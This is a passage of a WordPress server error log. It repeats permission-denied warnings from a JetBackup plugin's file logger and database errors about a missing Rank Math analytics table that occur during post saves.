/home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:21:58 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:22:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:22:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:22:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:22:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:22:29 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:22:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:22:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:23:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:23:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:23:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:23:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:23:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:23:51 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:24:02 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:24:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:24:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:24:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:24:41 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:24:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:25:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:25:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:25:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:25:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:25:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:25:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:26:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:26:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:26:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:26:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:26:47 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:26:50 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1216 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:26:50 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1372 made by wp_trash_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:27:01 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1114 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:27:01 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1373 made by wp_trash_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:27:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 44 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:27:15 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1374 made by wp_trash_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:27:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:27:30 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 8 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:27:30 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1375 made by wp_trash_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:27:37 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:27:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:28:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:28:29 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 14 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:28:29 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1376 made by wp_trash_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:28:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:28:51 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1117 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:28:51 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1377 made by wp_trash_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:28:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:29:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:29:11 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 9 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:29:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:29:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1115 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:29:25 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1378 made by wp_trash_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:29:28 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:29:38 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 10 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:29:38 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1379 made by wp_trash_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:29:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:29:57 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:29:58 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 41 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:29:58 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1380 made by wp_trash_post, wp_update_post, wp_insert_post, wp_after_insert_post, do_action('wp_after_insert_post'), WP_Hook->do_action, WP_Hook->apply_filters, wp_save_post_revision_on_insert, wp_save_post_revision, _wp_put_post_revision, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:30:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:30:34 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_objects' doesn't exist for query DELETE FROM wpuz_rank_math_analytics_objects WHERE object_type = 'post' AND object_id = 1089 made by wp_trash_post, wp_update_post, wp_insert_post, do_action('save_post'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Watcher->update_post_info, RankMath\Admin\Database\Query_Builder->delete, RankMath\Admin\Database\Query_Builder->query, RankMath\Admin\Database\Query_Builder->run [06-Jun-2026 22:30:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:30:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:30:46 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:30:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:31:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:31:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:31:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:31:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:31:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:31:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:32:02 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:32:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:32:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:32:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:32:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [06-Jun-2026 22:32:52 UTC] PHP Warning: 